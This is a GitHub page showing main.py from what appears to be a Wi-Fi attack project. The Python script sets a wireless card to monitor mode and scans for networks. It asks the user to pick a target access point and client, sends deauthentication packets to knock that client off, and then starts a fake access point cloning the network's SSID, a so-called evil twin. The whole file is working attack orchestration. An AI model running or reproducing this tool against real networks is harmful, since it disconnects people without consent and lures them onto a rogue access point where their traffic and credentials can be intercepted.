-
Notifications
You must be signed in to change notification settings - Fork 2
/
main.py
93 lines (74 loc) · 2.99 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python
from curses.ascii import BS
from distutils.command.build import build
import os
import sys
from scapy.all import get_if_list
import logging
import fileinput
import signal
from sys import platform
import threading
import argparse
from multiprocessing import Process
# import functions
from Deauthentication.configs.config import setMonitorMode, setManagerMode
from Deauthentication.scanning.sniffing import sniffClients, scanNetworks
from Deauthentication.spoofing.spoofing import setTarget
from FakeAccessPoint.create_fake_ap import create_fake_access_point
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def attack():
print(f"list of available interfaces:\n{get_if_list()}")
interface = wlan = input(
bcolors.OKGREEN+"\nEnter full interface name to set to Monitor Mode: \n \n"+bcolors.ENDC)
#interface = wlan ='wlx000f005d5479'
print(bcolors.OKCYAN+"\nSetting " + wlan +
" to monitor mode!\n"+bcolors.ENDC)
setMonitorMode(wlan)
try:
print(bcolors.WARNING +
"Press Ctrl-C to finish scanning for networks"+bcolors.ENDC)
known = scanNetworks(interface)
except KeyboardInterrupt:
print(bcolors.WARNING +
"Press Ctrl-C to finish scanning for networks"+bcolors.ENDC)
pass
# Let the user input the MAC address of the router
print(bcolors.WARNING+"Press Ctrl-C to finish scanning for networks"+bcolors.ENDC)
# print(known)
BSSID = input(
bcolors.OKGREEN+'\nChoose the BSSID/MAC address of the AP: \n\n'+bcolors.ENDC)
#BSSID = 'd8:07:b6:26:2b:56'
channel = known[BSSID][1]
#SSID = 'Alperin'
SSID = known[BSSID][0]
#print('\nChanging ' + wlan + ' to channel ' + str(channel))
os.system("iwconfig %s channel %d" % (wlan, channel))
print(bcolors.OKBLUE+"\nIntercepting AP clients data \n"+bcolors.ENDC)
sniffClients(wlan, BSSID)
brdMac = input(bcolors.OKGREEN +
'\n\nChoose the MAC address of the client you wish to attack: \n\n'+bcolors.ENDC)
print(bcolors.FAIL+'\nSending deauth packets now, press ctrl+c to end the attack'+bcolors.ENDC)
setTarget(brdMac, interface, BSSID)
create_fake_access_point(SSID, wlan)
user_input = input('to turn off the Access Point Please press \"done\"\n')
if user_input == 'done':
print(bcolors.BOLD+bcolors.OKGREEN+"\nDONE! Reverting monitor card back to managed mode :)" +
bcolors.ENDC + bcolors.ENDC) # setManagerMode(wlan)
os.system('sudo sh FakeAccessPoint/scripts/closeAP.sh')
setManagerMode(wlan)
print(bcolors.OKBLUE+"\n"+wlan +
" is set back to managed mode"+bcolors.ENDC)
sys.exit('Perform exit() with exit code {} , {}'.format(0, "End"))
if __name__ == "__main__":
attack()